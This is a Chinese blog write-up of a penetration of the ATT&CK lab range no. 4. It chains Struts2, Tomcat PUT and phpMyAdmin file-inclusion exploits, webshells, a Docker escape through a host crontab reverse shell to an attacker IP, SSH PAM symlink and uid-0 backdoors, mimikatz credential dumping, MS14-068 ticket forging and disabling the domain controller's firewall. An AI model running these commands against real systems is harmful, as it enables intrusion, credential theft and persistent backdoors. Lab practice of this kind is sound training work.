ATT&CK(四)

image.png

WEB入口

目标IP地址 : 192.168.145.150

nmap -A 192.168.145.150

image.png
从扫描出来的结果 可以看出存在

22 ,2001,2002,2003 端口

从title 看出 存在 Struts2 ,TOmcat/8.5.19 , phpMyadmin 4.8.1

Struts2

先看2001 端口
标题是Struts2 showcase
image.png
但是它现在是存在一个文件上传的功能 ,看看是否能上传webshell ,
image.png
上传一个正常的图片,都没有反应,也不回显路径,不知道是否上传成功 。。
扫描目录 ,
image.png
基本都是404 页面 ,但是存在部分500 报错页面
image.png
存在 /.ssh/id_rsa 文件可能 ,也存在22端口,后期可以利用存在文件包含或者文件读取的漏洞的话 。
文件上传暂时没有思路 ,
由于是Struts2 框架搭建的,使用Struts 漏扫工具看是否存在相关漏洞

Struts2 POC工具

Struts2-Scan
https://github.com/HatBoy/Struts2-Scan

Struts2漏洞检查工具2019版 V2.3
https://github.com/shack2/Struts2VulsTools/releases/tag/2.3.20190927

STS2G
https://github.com/xfiftyone/STS2G

Struts2全版本漏洞检测工具18.09
https://github.com/Guaang/s2-tool

部分复现漏洞的方法
https://blog.csdn.net/qq_52527336/article/details/125533839

第一个工具老报错 ,不知道啥情况
image.png
关闭现有连接 啥意思哦
使用第二个工具 Struts2漏洞检查工具2019版 V2.3
image.png
存在 046,045 的漏洞
image.png
是可以成功执行命令的,但是执行使用bash反弹shell 的时候一直反弹不回来 。。
使用全版本 漏洞检测工具
image.png
发现当前目录 /usr/src/src/main/webapp
上传webshell到这个目录
上传哥斯拉生成的木马 ,
image.png
使用哥斯拉连接
image.png
image.png
反弹shell 到 msf
image.png
msf 很卡 一直弹不回来,使用nc监听 反弹回来

bash -c "bash -i >& /dev/tcp/192.168.145.130/1111 0>&1"

image.png
但是看着这个root@这一串数字英文,很像docker的id号啊
ls查看本地文件 就刚好存在一个Dockerfile 文件
image.png
Docker 可以通过读取 Dockerfile 中的指令自动构建镜像。 Dockerfile 是一个文本文档,其中包含了用户创建镜像的所有命令和说明。

检测是否在docker中

ls -alh /.dockerenv
cat /proc/1/cgroup

image.png
可以发现全是docker ,看来是进入了一个docker环境了
先看看其他两个服务,是不定不是存在于docker呢

Tomcat

image.png
搜索版本号
image.png
好像是存在不少漏洞,不知是否可以利用

Tomcat8.5.19 cve-2017-12615

服务器由于配置不当,将配置文件中的readonly设置为了false时,通过PUT创建一个jsp文件,并可以执行任意代码。
只需要抓包,把方式改为PUT上传的方式就可以写shell 上传了
image.png
成功上传txt文件
把txt改为jsp文件
image.png
这里上传的时候 jsp 后面要加一个 /
PUT /111.jsp/ HTTP/1.1
不加 / 这个就会变成405
image.png

上传成功的,用哥斯拉连接
image.png
发现还是docker的 环境

phpMyAdmin

image.png
不需要密码直接连接了
我想到,刚才扫描的时候是没有3306这个端口的,但是吧 这个phpmyadmin 是3306 端口,额
又是docker 无疑了感觉

CVE-2018-12613

phpmyadmin 4.8.1 远程文件包含漏洞
其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞
EXP:

利用路径遍历去包含任意文件
?target=db_sql.php%253f../../../../../../../../etc/passwd

image.png
是成功包含了 etc/passwd 文件了的

写shell 错

文件包含漏洞去包含这个webshell文件,这样就能调用webshell去生成一个真正能独立运行的webshell
先查询所在目录

SELECT @@basedir

image.png

/usr/local/mysql/

创建数据库

create database test1

image.png
好像是因为没有权限 ,,,
本来就存在一个test数据库
我在数据库里面 创建一个admin 的表 ,表里面存在一句话

create table admin(`<?php eval($_REQUEST[8])?>` VARCHAR(255))

image.png
?target=sql.php%253f…/…/…/…/…/…/…/…/…/…//usr/local/mysql/data/test/admin.frm&8=phpinfo();
这个方法这里行不通,不知道哪里错了 ,我看那个是由windows 搭建的可能是服务端不一样

包含sessionGetShell

通常linux系统中存放路径为 /tmp/sess_[当前会话session值]
先使用

select '<?php phpinfo();?>';

查询一遍 ,记录一遍,相当于log日志
image.png
然后F12 获取当前的cookie
image.png
在利用刚才的文件包含去读取他
image.png

http://192.168.145.150:2003/?target=db_sql.php%253f/../../../../../../../../../../tmp/sess_2cf472cf31966810727f7d8a57a4cf24

image.png
成功执行了phpinfo()
找到绝对路径
image.png
写一句话
image.png
写入绝对路径失败,
还可以使用刚才的session 先写一条

select "<?php eval($_GET[a]); ?>"

然后再去使用& file_put_contents 去写shell
image.png
image.png
成功写入,使用蚁剑去连接
image.png

image.png
可惜查看 cgroup文件还是一个docker系统
image.png

Docker 逃逸

特权模式逃逸

以特权模式启动时,docker容器内拥有宿主机文件读写权限,可以通过写ssh密钥、计划任务等方式达到逃逸。
如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
如何判断是否为特权模式
在suid提权中SUID设置的程序出现漏洞就非常容易被利用,所以 Linux 引入了 Capability 机制以此来实现更加细致的权限控制,从而增加系统的安全性

这里本来是写ssh 的私钥 进去,但是没懂,我也不知道哪里的方法出现了问题,去连接的时候还是需要密码
image.png
参考:

https://www.jianshu.com/p/378c0fe42685
https://blog.csdn.net/eels_/article/details/24195631
https://quan9i.top/post/%E5%86%85%E7%BD%91%E9%9D%B6%E5%9C%BA%E5%AE%9E%E6%88%98%E2%80%94%E2%80%94ATT&CK%E5%AE%9E%E6%88%98%E7%B3%BB%E5%88%97%EF%BC%88%E5%9B%9B%EF%BC%89/
https://blog.csdn.net/weixin_47311099/article/details/122718592
参考了博主的写私钥的方法但是我这边没有成功 哎 

写计划任务反弹

创建test文件夹 ,把sda1 挂载到啊 test

新建目录以备挂载: mkdir /test
将宿主机/dev/sda1 目录挂载至容器内 /test: mount /dev/sda1 /test

image.png
创建一个sh的反弹语句到 test.sh里面去

touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo '#!/bin/bash' >> /test/tmp/test.sh
echo '/bin/bash -i >& bash -i >& /dev/tcp/192.168.145.130/13122 0>&1'  >> /test/tmp/test.sh

image.png
写入计划任务

sed -i '$a*/2 *    * * *    root  bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab
解释
sed: 是一个流式文本编辑器,用于处理和转换文本。
-i: 是sed命令的选项之一,表示直接修改文件内容,而不是将输出打印到终端。
'$a*/2 * * * * root bash /tmp/test.sh': 是sed的编辑命令。
在这个命令中,$表示匹配最后一行,a表示在匹配行后追加文本。
具体追加的内容是*/2 * * * * root bash /tmp/test.sh,
这是一个cron表达式,表示每隔2分钟执行一次/tmp/test.sh脚本,并以root权限执行。

该命令的作用是将一条新的cron任务添加到/test/etc/crontab文件的最后一行。
执行这个命令后,/test/etc/crontab文件将被修改,新的cron任务将被添加进去

kali这边监听就好了 要等两分钟
image.png
还少去了提权的操作,

权限维持

这里先使用 ssh软连接后门

ssh软连接后门

原理:::
利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok模块中使得 uid 为 0 可以直接通过认证而不需要输入密码,这样就导致了可以使用任意密码登录
查看SSH配置中是否开启了PAM身份验证,通过以下命令:

cat /etc/ssh/sshd_config|grep UsePAM

image.png
回显 UsePAM yes 就是可以的
建立软连接后门

 ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

image.png
去登录
image.png
除了是低权限之后没有其他不适合
但是可以进行提权,他的内核是4.4.0
image.png
可以看出还是存在提权漏洞的
但好像直接输入 sudo su 之后不需要验证密码直接到root了
image.png
方法二创建一个高权限用户 ,

useradd -p 'openssl passwd 123456'  -o -u 0 test

image.png

上线MSF

image.png
先简单查看一下 ip
image.png
外网是eth0 , 内网是eth1 是 192.168.183.0 网段
查看路由表
image.png
添加路由
image.png

内网

使用 Venom 搭建socks代理
还是比较喜欢这款工具
image.png

扫描内网存活主机
使用msf 的smb_version 模块
image.png
image.png
两台主机

win2008 WIN-ENS2VR5TR3N  192.168.183.130
win7    TESTWIN7-PC 		 192.168.183.3

image.png
端口开放挺多 ,但是没有web端的入口,只能从系统方面进入了
因为内网主机都是比较老的了
可能存在 ms17-010 ,08-067 等漏洞
image.png
第一次没打通
image.png
显示是受攻击的
但是把这里想到了 换隧道工具 ,一开始使用 Venom ,再换frp 也都无用啊 。。。
这里只能自己 搭建反向代理吧 win7 的shell 传给 kali 了
image.png
东搞搞 西搞搞 终于上线了
image.png
是system 权限
基本信息搜集
内网前面只扫描到两台主机
现在已经拿下win7了
image.png
ipconfig /all
查看主域
dome.com ping一下
image.png
IP 地址就是192.168.183.130
接下面就是使用mimikatz 看看是否能获取域管理员账号密码 进行 psexec 横向了
image.png
桌面存在mimikatz
image.png
发现用户密码
douser Dotest123
验证WIN-ENS2VR5TR3N为域控
这个只是一个域内用户的账号密码
基本信息

USER:douser
Domain:DEMO.COM
NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e
SID:S-1-5-21-979886063-1111900045-1414766810-1107
PASSWORD:Dotest123

MS16-068 域提权漏洞

条件:获得普通域用户以及密码 ,以及用户的suid ip为域控ip
漏洞产生原因:用户在向 Kerberos 密钥分发中心( KDC)申请 TGT (由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos 票据。如果票据声明自己有域管理员权限,而在处理该票据时未验证票据的签名, 那么返给用户的 TGT 就使普通域用户拥有域管理员权限。该用户可以将 TGT 发送到 KDC,KDC的 TGS (票据授权服务)在验证TGT后,将服务票据(Service Ticket)发送给该用户,而该用户拥有访问任何该服务的权限,从而使攻击者可以访问域内的资源。

MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

image.png
通过 mimikatz 导入TGT票据将写入,从而提升为域管理员

kerberos::purge
kerberos::ptc TGT_douser@DEMO.COM.ccache

image.png访问域控主机的C盘
image.png

域控

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8989 -f exe-service -o /root/aaa.exe

生成一个正向的shell
image.png
上传
image.png
image.png
关闭防火墙

sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"

image.png

xcopy aaa.exe \\WIN-ENS2VR5TR3N\c$

复制到域控 主机
上传成功
image.png

创建服务成功,开启防火墙,运行 aaa.exe
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\aaa.exe"
sc \\WIN-ENS2VR5TR3N start ProFirewall
sc \\WIN-ENS2VR5TR3N start Startup

创建正向连接 去连接域控的aaa.exe 就好了
image.png
直接使用getsystem 提权了因为是administrator权限
image.png
这个靶机就打到这里了 ,还是挺困难的说实话 ,各种断线 ,重连 ,正向连接 一般的连接不上 ,
断断续续 做完的 。连ms17-010 都run了十几次 ,代理都换了几款 。。。
后面看其他师傅的wp的还可以使用 “置零攻击(cve-2020-1472)” 这种方法配合 wmiexec.py 获取域控shell

参考 :::

https://blog.csdn.net/weixin_47311099/article/details/122718592
https://blog.csdn.net/qq_36241198/article/details/121619400
https://blog.csdn.net/m0_63303407/article/details/128750506

Docker 逃逸
https://wiki.teamssix.com/cloudnative/docker/cve-2022-0847-dirty-pipe.html
https://xz.aliyun.com/t/12495#toc-2

SSH 软连接
https://blog.csdn.net/weixin_45261436/article/details/130886594
https://blog.csdn.net/weixin_45209228/article/details/129485451

MS14-068
https://www.cnblogs.com/f-carey/p/16843006.html#tid-Z7zzGE
https://blog.csdn.net/weixin_46944519/article/details/123498421
  • 30
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值